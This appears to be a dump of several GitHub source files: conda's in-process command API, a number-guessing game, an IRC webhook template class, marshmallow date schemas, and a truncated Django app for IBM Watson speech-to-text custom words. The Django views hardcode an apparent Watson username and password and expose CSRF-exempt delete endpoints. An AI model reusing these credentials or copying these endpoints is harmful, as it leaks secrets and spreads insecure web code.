\n\n\n\n\n\n","repo_name":"bminchew/PySAR","sub_path":"pysar/image/looks.py","file_name":"looks.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"82"} +{"seq_id":"35589958415","text":"from logging import getLogger\n\nfrom ..base.constants import SEARCH_PATH\nfrom ..base.context import context\nfrom ..common.compat import encode_arguments\nfrom ..common.io import CaptureTarget, argv, captured\nfrom ..deprecations import deprecated\nfrom ..exceptions import conda_exception_handler\nfrom ..gateways.logging import initialize_std_loggers\nfrom .conda_argparse import do_call, generate_parser\n\ndeprecated.module(\"24.3\", \"24.9\", addendum=\"Use `conda.testing.conda_cli` instead.\")\n\nlog = getLogger(__name__)\n\n\nclass Commands:\n CLEAN = \"clean\"\n CONFIG = \"config\"\n CREATE = \"create\"\n INFO = \"info\"\n INSTALL = \"install\"\n LIST = \"list\"\n REMOVE = \"remove\"\n SEARCH = \"search\"\n UPDATE = \"update\"\n RUN = \"run\"\n NOTICES = \"notices\"\n\n\nSTRING = CaptureTarget.STRING\nSTDOUT = CaptureTarget.STDOUT\n\n\n# Note, a deviated copy of this code appears in tests/test_create.py\ndef run_command(command, *arguments, **kwargs):\n \"\"\"Runs a conda command in-process with a given set of command-line interface arguments.\n\n Differences from the command-line interface:\n Always uses --yes flag, thus does not ask for confirmation.\n\n Args:\n command: one of the Commands.\n *arguments: instructions you would normally pass to the conda command on the command line\n see below for examples. Be very careful to delimit arguments exactly as you\n want them to be delivered. No 'combine then split at spaces' or other\n information destroying processing gets performed on the arguments.\n **kwargs: special instructions for programmatic overrides\n\n Keyword Args:\n use_exception_handler: defaults to False. False will let the code calling\n `run_command` handle all exceptions. True won't raise when an exception\n has occurred, and instead give a non-zero return code\n search_path: an optional non-standard search path for configuration information\n that overrides the default SEARCH_PATH\n stdout: Define capture behavior for stream sys.stdout. Defaults to STRING.\n STRING captures as a string. None leaves stream untouched.\n Otherwise redirect to file-like object stdout.\n stderr: Define capture behavior for stream sys.stderr. Defaults to STRING.\n STRING captures as a string. None leaves stream untouched.\n STDOUT redirects to stdout target and returns None as stderr value.\n Otherwise redirect to file-like object stderr.\n\n Returns:\n a tuple of stdout, stderr, and return_code.\n stdout, stderr are either strings, None or the corresponding file-like function argument.\n\n Examples:\n >>> run_command(Commands.CREATE, \"-n\", \"newenv\", \"python=3\", \"flask\", \\\n use_exception_handler=True)\n >>> run_command(Commands.CREATE, \"-n\", \"newenv\", \"python=3\", \"flask\")\n >>> run_command(Commands.CREATE, [\"-n\", \"newenv\", \"python=3\", \"flask\"], search_path=())\n \"\"\"\n initialize_std_loggers()\n use_exception_handler = kwargs.pop(\"use_exception_handler\", False)\n configuration_search_path = kwargs.pop(\"search_path\", SEARCH_PATH)\n stdout = kwargs.pop(\"stdout\", STRING)\n stderr = kwargs.pop(\"stderr\", STRING)\n p = generate_parser()\n\n if arguments and isinstance(arguments[0], list):\n arguments = arguments[0]\n\n arguments = list(arguments)\n arguments.insert(0, command)\n\n args = p.parse_args(arguments)\n args.yes = True # always skip user confirmation, force setting context.always_yes\n context.__init__(\n search_path=configuration_search_path,\n argparse_args=args,\n )\n\n from subprocess import list2cmdline\n\n log.debug(\"executing command >>> conda %s\", list2cmdline(arguments))\n\n is_run = arguments[0] == \"run\"\n if is_run:\n cap_args = (None, None)\n else:\n cap_args = (stdout, stderr)\n try:\n with argv([\"python_api\"] + encode_arguments(arguments)), captured(\n *cap_args\n ) as c:\n if use_exception_handler:\n result = conda_exception_handler(do_call, args, p)\n else:\n result = do_call(args, p)\n if is_run:\n stdout = result.stdout\n stderr = result.stderr\n result = result.rc\n else:\n stdout = c.stdout\n stderr = c.stderr\n except Exception as e:\n log.debug(\"\\n stdout: %s\\n stderr: %s\", stdout, stderr)\n e.stdout, e.stderr = stdout, stderr\n raise e\n return_code = result or 0\n log.debug(\n \"\\n stdout: %s\\n stderr: %s\\n return_code: %s\", stdout, stderr, return_code\n )\n return stdout, stderr, return_code\n","repo_name":"conda/conda","sub_path":"conda/cli/python_api.py","file_name":"python_api.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","stars":5830,"dataset":"github-code","pt":"82"} +{"seq_id":"977776927","text":"from random import randint\n\ndef starting_func():\n\n game_start = input(\"Welcome to the number guessing game! Wanna play? Y or N \").lower()\n while True:\n if game_start == \"y\":\n play_game() #I would also like to ask why it is possible to call this function even though play_game is a completely separate function\n break\n elif game_start == \"n\":\n print(\"goodbye!\")\n break\n else:\n print(\"enter a valid input\")\n\ndef select_diff():\n difficulty = input(\"Select a difficulty, easy or hard \").lower()\n while True:\n if difficulty == \"easy\":\n n_lives = 10\n return n_lives\n break\n elif difficulty == \"hard\":\n n_lives = 5\n return n_lives\n break\n else:\n print(\"please select a difficulty\")\n\ndef play_game():\n secret_number = randint(1, 100) #random number between 1 and 100\n print(secret_number) #check if the code works\n \n n_lives = select_diff()\n print(n_lives) #prints the number of lives\n gameplay = True\n \n while gameplay is True:\n try:\n input_number = int(input(\"Please choose a number \"))\n except:\n print(\"Please choose a valid number\") #If the input is not a valid INT value, this \"except\" catch the error correctly\n\n if input_number < 1 or input_number > 100:\n print(\"Please choose a valid number\") #for numbers out of range\n elif input_number < secret_number:\n n_lives = n_lives - 1 # ERROR: n_lives is not defined\n print(n_lives)\n print(\"Your number is too low!\")\n elif input_number > secret_number:\n n_lives = n_lives - 1\n print(n_lives)\n print(\"Your number is too high!\")\n elif input_number==secret_number:\n print(\"You won!\") #the remaining case is when the guessed number is correct\n gameplay = False\n \n if n_lives == 0:\n print(\"You lost!\")\n gameplay = False\n starting_func()\n else:\n gameplay = True \n\nif __name__ == '__main__':\n starting_func()\n","repo_name":"FrancescoArky/Simple_python_projects","sub_path":"Guess_the_number.py","file_name":"Guess_the_number.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71421220748","text":"#!/usr/bin/env python\n# coding: UTF-8\n\nimport logging\n\nfrom mako.lookup import TemplateLookup\n\nfrom webhooks2irc import settings\n\nlogger = logging.getLogger()\n\n\nclass MessageTemplate(object):\n def __init__(self):\n self.lookup = TemplateLookup(settings.TEMPLATE_DIRS)\n\n def _get_template(self, event):\n filename = event.replace(' ', '-').lower()\n template_name = \"/{0}.tpl\".format(filename)\n if self.lookup.has_template(template_name):\n return self.lookup.get_template(template_name)\n\n def get_message(self, event, json):\n template = self._get_template(event)\n if template is None:\n return\n\n try:\n message = template.render(**json)\n except (KeyError, TypeError, IndexError):\n logger.exception(\"Template Render Failed.\")\n return\n\n # use replace so. Carriage returns not allowed in privmsg(text)\n # https://github.com/jaraco/irc/blob/master/irc/client.py#L900\n return message.replace('\\n', '').replace('\\r', '').strip()\n","repo_name":"cj1324/WebHooks2IRC","sub_path":"src/webhooks2irc/core/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17913572903","text":"\"\"\" APIs useful functions.\"\"\"\nfrom datetime import datetime, timedelta, timezone\nfrom marshmallow import post_load, post_dump, Schema, validates_schema, ValidationError\nfrom marshmallow.fields import DateTime, Date\n\n\nclass DateRangeQuerySchema(Schema):\n \"\"\"Basic marshmallow schema to handle query parameters for a range of dates.\n\n The start and end are optinals. If provided, we check that the start date occured\n before the end date.\n \"\"\"\n\n start = Date(description=\"The start date ('YYYY-MM-DD')\", example=\"2020-04-01\")\n end = Date(description=\"The end date ('YYYY-MM-DD')\", example=\"2020-04-01\")\n\n @post_load\n def set_default( # pylint: disable=no-self-use,unused-argument\n self, data, **kwargs\n ):\n \"\"\" Set default dates.\"\"\"\n if \"end\" not in data:\n data[\"end\"] = datetime.now(timezone.utc).date()\n\n if \"start\" not in data:\n data[\"start\"] = data[\"end\"] - timedelta(days=30)\n\n data[\"end\"] = data[\"end\"] + timedelta(days=1)\n\n return data\n\n @validates_schema\n def validate_date( # pylint: disable=no-self-use,unused-argument\n self, data, **kwargs\n ):\n \"\"\" Validate date for query.\"\"\"\n if data and \"start\" in data and \"end\" in data and data[\"start\"] > data[\"end\"]:\n raise ValidationError(\"The start date must be before the end date.\")\n\n\nclass DatetimeRangeQuerySchema(Schema):\n \"\"\"Basic marshmallow schema to handle query parameters for a range of datetimes.\n\n The start and end are optionals. If provided, we check that the start date occured\n before the end date.\n \"\"\"\n\n start = DateTime(\n description=\"The start date in format ISO-8601, the parameter must be in UTC ('YYYY-MM-DDTHH:mm:SSZ') or contain a deltatime to reference the user timezone (YYYY-MM-DDTHH:mm:SS-+HH:mm)\", # pylint: disable=line-too-long # noqa\n example=\"2020-04-01T08:06:47.890+01:00\",\n )\n\n end = DateTime(\n description=\"The end date in format ISO-8601, the parameter must be in UTC ('YYYY-MM-DDTHH:mm:SSZ') or contain a deltatime to reference the user timezone (YYYY-MM-DDTHH:mm:SS-+HH:mm)\", # pylint: disable=line-too-long # noqa\n example=\"2020-04-01T08:06:47.890+01:00\",\n )\n\n @post_load\n def set_default( # pylint: disable=no-self-use,unused-argument\n self, data, **kwargs\n ):\n \"\"\" Set default times.\"\"\"\n if \"start\" not in data:\n data[\"start\"] = datetime.now(timezone.utc)\n if \"end\" not in data:\n data[\"end\"] = data[\"start\"] + timedelta(days=5)\n\n # set end and start to UTC\n if data[\"start\"].tzinfo == data[\"end\"].tzinfo:\n if data[\"start\"].tzinfo is not None:\n data[\"start\"] = datetime.utcfromtimestamp(data[\"start\"].timestamp())\n data[\"end\"] = datetime.utcfromtimestamp(data[\"end\"].timestamp())\n\n return data\n\n @validates_schema\n def validate_date( # pylint: disable=no-self-use,unused-argument\n self, data, **kwargs\n ):\n \"\"\" Date validation for events.\"\"\"\n if data and \"start\" in data and \"end\" in data and data[\"start\"] > data[\"end\"]:\n raise ValidationError(\"The start datetime must be before the end datetime.\")\n\n","repo_name":"Nicolas44Hernandez/backend","sub_path":"backend/apihelpers.py","file_name":"apihelpers.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39315094545","text":"from __future__ import unicode_literals\nfrom django.shortcuts import get_object_or_404, render\nfrom django.core.files.storage import default_storage\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.db.models.fields.files import FieldFile\nfrom django.views.generic import FormView\nfrom django.views.generic.base import TemplateView\nfrom django.contrib import messages\nfrom django.http import HttpResponse, JsonResponse, HttpResponseRedirect\nfrom django.urls import reverse\n#################### forms \nfrom .forms import WordForm, SoundForm, Step1Form, Step2Form, Step3Form, Step6FormWord, Step6FormSond, TempWordForm, UploadFileForm\nfrom .models import Word, Sound, Cred, Custid, Tempword, Tempsound\nfrom django.views.decorators.csrf import csrf_exempt\nimport requests\n\n\n\n@csrf_exempt\ndef newwordlist(request):\n thelist = Word.objects.all()\n\n hkdict = []\n\n for w in thelist:\n\n tempdict = {}\n tempdict['hkid'] = w.id\n tempdict['word'] = w.hkword\n tempdict['disp'] = w.hkdisp\n templist = []\n for x in w.sound_set.all():\n templist.append( x.hksoundslike )\n tempdict['sond'] = templist\n\n hkdict.append( tempdict )\n print( hkdict )\n\n return JsonResponse( hkdict, safe=False)\n# return HttpResponse( status=200 )\n\n\n@csrf_exempt\ndef newworddelete(request):\n if request.method == 'POST':\n message0 = request.read()\n print( 'HKT: %s' % message0 )\n json_data = json.loads( message0 )\n w = json_data\n word = get_object_or_404(Word, pk=w['hkid'] )\n word.delete()\n return HttpResponse( status=200 )\n\n@csrf_exempt\ndef newwordsave(request):\n\n if request.method == 'POST':\n\n message0 = request.read()\n\n print( 'HKT: %s' % message0 )\n\n json_data = json.loads( message0 )\n w = json_data\n\n# Word.objects.all().delete()\n\n if 'hkid' in w:\n pkid = w['hkid']\n neww = Word.objects.get(pk= pkid)\n neww.hkword = w['Word']\n neww.hkdisp = w['Disp']\n neww.save()\n soundlist = Sound.objects.filter(hkwordkey_id=pkid)\n soundlist.delete()\n for s in w['soundslikearray']:\n neww.sound_set.create( hksoundslike = s )\n else:\n neww = Word()\n neww.hkword = w['Word']\n neww.hkdisp = w['Disp']\n neww.save()\n for s in w['soundslikearray']:\n neww.sound_set.create( hksoundslike = s )\n\n return HttpResponse( status=200 )\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef ngmain(request):\n return render(request, 'watsonstt/ngmain.html' )\n\n\n\n\ndef xhour1(request):\n return render(request, 'watsonstt/xhour1.html')\n\n## file test start\ndef handle_uploaded_file(f):\n with open('/Users/hyunwoo/name.txt', 'wb+') as destination:\n for chunk in f.chunks():\n destination.write(chunk)\n\ndef filetest1(request):\n if request.method == 'POST':\n form = UploadFileForm( request.POST, request.FILES )\n if form.is_valid():\n print( \"test2\" )\n\n hkdict = form.cleaned_data\n# print( hkdict['title'] )\n #handle_uploaded_file(request.FILES['file'])\n\n hkurl = 'http://127.0.0.1:8000/watson/filetest2/'\n files = {'file': request.FILES['file']}\n r = requests.post( hkurl, files=files )\n# look at the main.py in \n# /Users/hyunwoo/RDG_Schematic/books_trilogy/book3_python/book_python_practical_nsauscc_olyg_files/project_oauth2/watson_python_test\n# for how to access Watson api in the same manner as the curl command does\n return HttpResponse('hello from filetest1') # return HttpResponseRedirect('/success/url/')\n else:\n form = UploadFileForm()\n return render(request, 'watsonstt/upload.html', {'form': form})\n\n# messi\n@csrf_exempt\ndef filetest2(request):\n if request.method == 'POST':\n print( \"filestest2\" )\n# not working\n# fff = request.FILES['file']\n# print( fff.read() )\n# working\n message0 = request.read()\n print( message0 )\n print( \"filestest3\" )\n return HttpResponse('hello from filetest2')\n\n## AJS era ###################################################\n@csrf_exempt\ndef singleword(request):\n Tempword.objects.all().delete() \n return render(request, 'watsonstt/singleword.html' )\n\n@csrf_exempt\ndef singlewordsave(request):\n\n if request.method == 'POST':\n json_data = json.loads( request.body )\n w = Tempword()\n w.hkword = json_data['Word']\n w.hkdisp = json_data['Disp']\n w.save()\n for x in json_data['soundslikearray']:\n w.tempsound_set.create( hksoundslike = x )\n\n print( \"word = %s\"%json_data['Word'] )\n print( \"disp = %s\"%json_data['Disp'] )\n for x in json_data['soundslikearray']:\n print( \"sounds = %s\"%x )\n \n print( messagewriter_fortempword1() )\n return HttpResponse( messagewriter_fortempword1() )\n# the following else is meaningless, because this view is only called with the POST request\n# else:\n# return render(request, 'watsonstt/dynamictest.html')\ndef singlewordrender(request):\n# return HttpResponse( messagewriter_fortempword1() )\n message = messagewriter_fortempword1()\n return render(request, 'watsonstt/singlewordrender.html', {'message': message})\n\n################################################################\n################################################################\n################################################################\n@csrf_exempt\ndef multiword(request):\n cred = Cred.objects.all()[0]\n cust = Custid.objects.all()[0]\n\n message1 = 'curl -u %s:%s' % ( cred.hkcred, cred.hkpawd )\n message2 = ' -X POST --header \"Content-type:application/json\"'\n message4 = ' https://stream.watsonplatform.net/speech-to-text/api/v1/customizations/%s/words/' % (cust.custID)\n message = message1 + message2 + message4\n\n return render(request, 'watsonstt/multiword.html', {'message': message})\n\n@csrf_exempt\ndef angularcred(request):\n if request.method == 'POST':\n json_data = json.loads( request.body )\n Cred.objects.all().delete()\n hk2 = Cred( hkcred=json_data['username'], hkpawd=json_data['password'] )\n hk2.save()\n return JsonResponse({'username': hk2.hkcred, 'password': hk2.hkpawd})\n\n@csrf_exempt\ndef angularcust(request):\n if request.method == 'POST':\n json_data = json.loads( request.body )\n\n Custid.objects.all().delete()\n constcustid = \"ebc32170-c0bb-11e6-9657-e53f14d32a55\"\n custid = Custid( custID = constcustid )\n custid.save()\n\n # json_data['name'], json_data['model'], json_data['description']\n return JsonResponse({'customid': json_data['description']})\n\n\n# step1 delete the current one first\n# \n# step2 run the curl command to get a new customization ID\n\n# step 3 save the new customization ID\n\n\n\n@csrf_exempt\ndef multiwordsave(request):\n\n if request.method == 'POST':\n\n cred = Cred.objects.all()[0]\n cust = Custid.objects.all()[0]\n\n message0 = request.read()\n\n message1 = 'curl -u %s:%s' % ( cred.hkcred, cred.hkpawd )\n message2 = ' -X POST --header \"Content-type:application/json\"'\n message4 = ' https://stream.watsonplatform.net/speech-to-text/api/v1/customizations/%s/words/' % (cust.custID)\n message3 = ' --date %s' % message0\n\n message = message1 + message2 + message3 + message4\n print( message )\n\n Word.objects.all().delete()\n\n# print( 'HKT: %s' % request.read() )\n# return HttpResponse( 'hello: ' )\n\n# json_data = json.loads( request.body )\n json_data = json.loads( message0 )\n \n wordobject = json_data['words']\n for w in wordobject:\n neww = Word()\n neww.hkword = w['word']\n neww.hkdisp = w['display_as']\n neww.save()\n for s in w['soundslikearray']:\n neww.sound_set.create( hksoundslike = w )\n\n return HttpResponse( status=200 )\n# else:\n# return render(request, 'watsonstt/dynamictest.html')\n\n\n\n##############################################################\n# not used\n##############################################################\ndef generalquery(request):\n if request.method == 'POST':\n form = Step3Form(request.POST)\n if form.is_valid():\n\n hkdict = form.cleaned_data\n message='cred=%s, customizationID = %s '%( hkdict['step3cred'].hkcred, hkdict['step3custid'].custID )\n return HttpResponse( message )\n else:\n form = Step3Form()\n\n cred = Cred.objects.all()[0]\n cust = Custid.objects.all()[0]\n message1 = 'curl -u %s:%s' % ( cred.hkcred, cred.hkpawd )\n message2 = ' -X GET'\n message4 = ' https://stream.watsonplatform.net/speech-to-text/api/v1/customizations/%s' % (cust.custID)\n message = message1 + message2 + message4\n return render(request, 'watsonstt/generalquery.html', {'form': form, 'message': message})\n\ndef executequery(request):\n cred = Cred.objects.all()[0]\n cust = Custid.objects.all()[0]\n\n message1 = 'curl -u %s:%s' % ( cred.hkcred, cred.hkpawd )\n message2 = ' -X GET'\n message4 = ' https://stream.watsonplatform.net/speech-to-text/api/v1/customizations/%s' % (cust.custID)\n message = message1 + message2 + message4\n print( message )\n return HttpResponseRedirect( reverse( 'watson:start') )\n\n## AJS era\n\n@csrf_exempt\ndef ang(request):\n return render(request, 'watsonstt/ang.html' )\n##############################################################\nimport json\nfrom StringIO import StringIO\n\n@csrf_exempt\ndef dynamictest(request):\n\n if request.method == 'POST':\n\n json_data = json.loads( request.body )\n\n w = Word()\n w.hkword = json_data['Word']\n w.hkdisp = json_data['Disp']\n w.save()\n for x in json_data['soundslikearray']:\n w.sound_set.create( hksoundslike = x )\n\n print( json_data['Word'] )\n print( json_data['Disp'] )\n for x in json_data['soundslikearray']:\n print( x )\n \n# print( 'hkdict type = %s' % type( data ) )\n\n# print( 'HKT: %s' % request.read() )\n# hkdict = json.load( hkio )\n# print( 'hkdict type = %s' % type( hkdict) )\n \n\n# qd = request.POST\n# for x in qd.items():\n# print( x )\n return HttpResponse( 'hello: ' )\n\n\n\n else:\n return render(request, 'watsonstt/dynamictest.html')\n\n\n\n#################### formset test\nfrom django.forms import formset_factory, inlineformset_factory\n\ndef start(request):\n return render(request, 'watsonstt/start.html' )\n\n\n##############################################################\n##############################################################\n\nfrom django.http import JsonResponse\n\ndef getcred(request):\n cred = Cred.objects.all()[0]\n return JsonResponse({'username': cred.hkcred, 'password': cred.hkpawd})\n\ndef getcust(request):\n cred = Custid.objects.all()[0]\n return JsonResponse({'customid': cred.custID})\n\ndef step1list(request):\n credlist = Cred.objects.all()\n return render(request, 'watsonstt/step1list.html', {'credlist': credlist})\ndef step1form(request):\n if request.method == 'POST':\n form = Step1Form(request.POST)\n if form.is_valid():\n hkdict = form.cleaned_data\n Cred.objects.all().delete()\n hk2 = Cred( hkcred=hkdict['credential'], hkpawd=hkdict['passwordal'] )\n hk2.save()\n return HttpResponseRedirect( reverse( 'watson:step1list') )\n else:\n# cred = Cred.objects.all()[0]\n# form = Step1Form( initial={'credential':cred.hkcred, 'passwordal':cred.hkpawd} )\n form = Step1Form( initial={'credential':'67158fa8-a9fb-4380-8368-d3f883da44fc', 'passwordal':'KOWFDbj9cG0B'} )\n return render(request, 'watsonstt/step1form.html', {'form': form})\n\n##############################################################\n##############################################################\ndef step2list(request):\n custidlist = Custid.objects.all()\n return render(request, 'watsonstt/step2list.html', {'custidlist': custidlist})\n\ndef step2form(request):\n if request.method == 'POST':\n form = Step2Form(request.POST)\n if form.is_valid():\n hkdict = form.cleaned_data\n\n message1='curl -u %s:%s' % ( hkdict['step2cred'].hkcred, hkdict['step2cred'].hkpawd )\n message2=' -X POST -H \"Content-type: application/json\"'\n message3=' --date {name:%s, base_model_name: %s, description: %s}' %(hkdict['step2name'], hkdict['step2modl'], hkdict['step2desc'])\n message = message1 + message2 + message3\n# save the custID from the curl command\n# step1 delete the current one first\n# Custid.objects.all().delete()\n# step2 run the curl command to get a new customization ID\n# constcustid = \"ebc32170-c0bb-11e6-9657-e53f14d32a55\"\n# step 3 save the new customization ID\n# custid = Custid( custID = constcustid )\n# custid.save()\n return HttpResponse( message )\n else:\n# custid = Custid.objects.all()[0]\n# form = Step2Form(initial={'custID':custid.custID} )\n# form = Step2Form(initial={'custID':'ebc32170-c0bb-11e6-9657-e53f14d32a55'} )\n form = Step2Form()\n return render(request, 'watsonstt/step2form.html', {'form': form})\n\n\n## goto\n##############################################################\n##############################################################\ndef messagewriter_fortempword1():\n# build the curl command\n word1 = Tempword.objects.all()[0]\n message = \"%s and %s \" % (word1.hkword, word1.hkdisp)\n sound1 = Tempsound.objects.all()\n mess1 = \"[\"\n for x in sound1:\n mess1 = mess1 + x.hksoundslike + \", \"\n mess1.rstrip(', ')\n mess1 = mess1 + \"]\"\n\n cred = Cred.objects.all()[0]\n cust = Custid.objects.all()[0]\n\n message1 = 'curl -u %s:%s' % ( cred.hkcred, cred.hkpawd )\n message2 = ' -X PUT --header \"Content-type:application/json\"'\n message3 = ' --data { \"sounds_like\": %s, \"display_as\": %s }' % (mess1, word1.hkdisp)\n message4 = ' https://stream.watsonplatform.net/speech-to-text/api/v1/customizations/%s/words/%s' % (cust.custID, word1.hkword )\n message = message1 + message2 + message3 + message4\n return message\n# build the curl command end\n\n# when wanting to create both new word and new sounds at the same time..\ndef tempword1(request):\n SoundInlineFormSet = inlineformset_factory( Tempword, Tempsound, fields=('hksoundslike',) )\n if request.method == 'POST':\n wordform = TempWordForm( request.POST )\n wordid = wordform.save()\n formset = SoundInlineFormSet( request.POST, instance=wordid )\n if formset.is_valid():\n formset.save()\n\n return HttpResponse( messagewriter_fortempword1() )\n# return HttpResponseRedirect( reverse( 'watson:tempword2') )\n else:\n Tempword.objects.all().delete()\n wordform = TempWordForm( )\n wordformset = SoundInlineFormSet()\n return render(request, 'watsonstt/tempword1.html', {'form': wordform, 'formset': wordformset})\n\ndef tempword2(request):\n wordlist = Tempword.objects.all()\n return render(request, 'watsonstt/tempword2.html', {'wordlist': wordlist})\n\n## edit an existing word\n# you can use an empty action attribute on a form to submit that form to the current page. \ndef tempword3(request, word_id):\n SoundInlineFormSet = inlineformset_factory( Tempword, Tempsound, fields=('hksoundslike',) )\n if request.method == 'POST':\n word = Tempword.objects.get(pk=word_id)\n formset = SoundInlineFormSet( request.POST, instance=word )\n if formset.is_valid():\n formset.save()\n return HttpResponse( 'formset test' )\n else:\n wordformset = SoundInlineFormSet()\n return render(request, 'watsonstt/tempword3.html', {'formset': wordformset})\n\n## list all the sounds for a given word id\ndef tempword4(request, word_id):\n word = Tempword.objects.get(pk=word_id)\n soundlist = Tempsound.objects.filter(hkwordkey_id=word_id)\n return render(request, 'watsonstt/tempword4.html', {'soundlist': soundlist})\n## called from tempword3.html\ndef tempword5(request, sound_id):\n sound = get_object_or_404(Tempsound, pk=sound_id)\n sound.delete()\n wordlist = Tempword.objects.all()\n# return render(request, 'watsonstt/tempword2.html', {'wordlist': wordlist})\n return HttpResponseRedirect( reverse( 'watson:tempword2') )\n## called from tempword3.html\ndef tempword6(request, word_id):\n word = get_object_or_404(Tempword, pk=word_id)\n word.delete()\n wordlist = Tempword.objects.all()\n return render(request, 'watsonstt/tempword2.html', {'wordlist': wordlist})\n\n\n##############################################################\n##############################################################\ndef step9formword(request):\n SoundInlineFormSet = inlineformset_factory( Word, Sound, fields=('hksoundslike',) )\n if request.method == 'POST':\n wordform = WordForm( request.POST )\n wordid = wordform.save()\n formset = SoundInlineFormSet( request.POST, instance=wordid )\n if formset.is_valid():\n formset.save()\n\n return HttpResponse( 'hello' )\n# return HttpResponseRedirect( reverse( 'watson:tempword2') )\n else:\n wordform = WordForm( )\n wordformset = SoundInlineFormSet()\n return render(request, 'watsonstt/step9formword.html', {'wordform': wordform, 'soundform': wordformset})\n\n#def step9formsond(request):\n# if request.method == 'POST':\n# form = SoundForm(request.POST)\n# if form.is_valid():\n# hkdict = form.cleaned_data\n# hk2 = Sound( hksoundslike = hkdict['sounds_like'], hkwordkey = hkdict['word_pair'] )\n# hk2.save()\n# return HttpResponse( 'hello: '+hkdict['sounds_like'] )\n# else:\n# form = SoundForm()\n# return render(request, 'watsonstt/step9formsond.html', {'form': form})\n\n##############################################################\n##############################################################\ndef step9home(request):\n wordlist = Word.objects.all()\n# for w in wordlist:\n# print( w.hkword, [ x.hksoundslike for x in w.sound_set.all() ] )\n return render(request, 'watsonstt/step9home.html', {'wordlist': wordlist})\n\ndef step9editword(request, word_id):\n SoundInlineFormSet = inlineformset_factory( Word, Sound, fields=('hksoundslike',) )\n if request.method == 'POST':\n word = Word.objects.get(pk=word_id)\n formset = SoundInlineFormSet( request.POST, instance=word )\n if formset.is_valid():\n formset.save()\n return HttpResponse( 'formset test' )\n else:\n wordformset = SoundInlineFormSet()\n return render(request, 'watsonstt/step9editword.html', {'formset': wordformset})\n\n## list all the sounds for a given word id\ndef step9soundaword(request, word_id):\n word = Word.objects.get(pk=word_id)\n soundlist = Sound.objects.filter(hkwordkey_id=word_id)\n return render(request, 'watsonstt/step9soundsaword.html', {'soundlist': soundlist})\n\ndef step9deletesound(request, sound_id):\n sound = get_object_or_404(Sound, pk=sound_id)\n sound.delete()\n# wordlist = Word.objects.all()\n# return render(request, 'watsonstt/step9home.html', {'wordlist': wordlist})\n return HttpResponseRedirect( reverse( 'watson:step9home' ) )\n\ndef step9deleteword(request, word_id):\n word = get_object_or_404(Word, pk=word_id)\n word.delete()\n# wordlist = Word.objects.all()\n# return render(request, 'watsonstt/step9home.html', {'wordlist': wordlist})\n return HttpResponseRedirect( reverse( 'watson:step9home' ) )\n\n\n#def step9listsound(request):\n# personlist = Sound.objects.all()\n# return render(request, 'watsonstt/step9listsound.html', {'personlist': personlist})\n\n\n\n##############################################################\n##############################################################\n#def step6formword(request):\n# if request.method == 'POST':\n# form = Step6FormWord(request.POST)\n# if form.is_valid():\n# hkdict = form.cleaned_data\n# hkword = hkdict['step6word'] \n# hkdisp = hkdict['step6disp']\n# form2 = Step6FormSond( initial={'step6word':hkword, 'step6disp':hkdisp} )\n# return render(request, 'watsonstt/step6formsond.html', {'form': form2})\n# else: # the first time this page is called, we initialize the TempWord table\n# TempWord.objects.all().delete()\n# form = Step6FormWord()\n# return render(request, 'watsonstt/step6formword.html', {'form': form})\n#def step6formsond(request):\n# if request.method == 'POST':\n# form = Step6FormSond(request.POST)\n# if form.is_valid():\n# hkdict = form.cleaned_data\n# hkword0 = hkdict['step6word']\n# hksndl0 = hkdict['step6sndl']\n # hkdisp0 = hkdict['step6disp']\n# hktempword = TempWord( hkword = hkword0, hkdisp = hkdisp0, hksoundslike = hksndl0 )\n# hktempword.save()\n # form2 = Step6FormSond( initial={'step6word':hkword0, 'step6disp':hkdisp0} )\n# return render(request, 'watsonstt/step6formsond.html', {'form': form2})\n# #redirect( 'step6final' )\n# else:\n# return HttpResponse(status=201)\n#def step6final(request):\n# twordlist = TempWord.objects.all()\n# return render(request, 'watsonstt/step6final.html', {'twordlist': twordlist})\n\n\n\n\n\n##############################################\n##############################################\n##############################################\ndef api1(request):\n if request.method == 'POST':\n if request.is_ajax():\n post_name = request.POST.get('name')\n# post_mail = request.POST.get('email')\n# post_comm = request.POST.get('comments')\n\n# with open(\"/tmp/temp.out\", \"w\") as f:\n# f.write( 'hk debug name = ' + post_name + '\\n')\n\n# data = { \"email\":post_mail , \"name\" : post_name, \"comments\" : post_comm }\n data = { \"name\" : 'api1 ajax' }\n return JsonResponse(data)\n else:\n pass\n\ndef api2(request):\n\n if request.method == 'POST':\n if request.is_ajax():\n post_name = request.POST.get('name')\n# post_mail = request.POST.get('email')\n# post_comm = request.POST.get('comments')\n\n# data = { \"email\":post_mail , \"name\" : post_name, \"comments\" : post_comm }\n# data = { \"name\" : post_name }\n data = { \"name\" : 'api2 ajax' }\n return JsonResponse(data)\n else:\n pass\n\n####################################\n\nclass FakeField(object):\n storage = default_storage\n\nfieldfile = FieldFile(None, FakeField, 'dummy.txt')\n\nclass HomePageView(TemplateView):\n template_name = 'watsonstt/home.html'\n def get_context_data(self, **kwargs):\n context = super(HomePageView, self).get_context_data(**kwargs)\n messages.info(self.request, 'This is a demo of a message.')\n return context\n\n#def get_name(request):\n# if request.method == 'POST':\n# form = NameForm(request.POST)\n# if form.is_valid():\n# hkdict = form.cleaned_data\n# hk2 = Person( hkname=hkdict['your_name'], hkmail=hkdict['your_mail'] )\n# hk2.save()\n# #return HttpResponse( 'hello: '+hkdict['your_name'] )\n# return HttpResponseRedirect( reverse( 'watson:list') )\n## return HttpResponseRedirect('/thanks/')\n# else:\n# form = NameForm()\n# return render(request, 'watsonstt/name.html', {'form': form})\n\n\n\n# when working with an existing word\ndef formsettest1(request):\n word = Word.objects.get(pk=1)\n SoundInlineFormSet = inlineformset_factory( Word, Sound, fields=('hksoundslike',) )\n if request.method == 'POST':\n formset = SoundInlineFormSet( request.POST, instance=word )\n if formset.is_valid():\n formset.save()\n return HttpResponse( 'formset test' )\n else:\n wordformset = SoundInlineFormSet()\n return 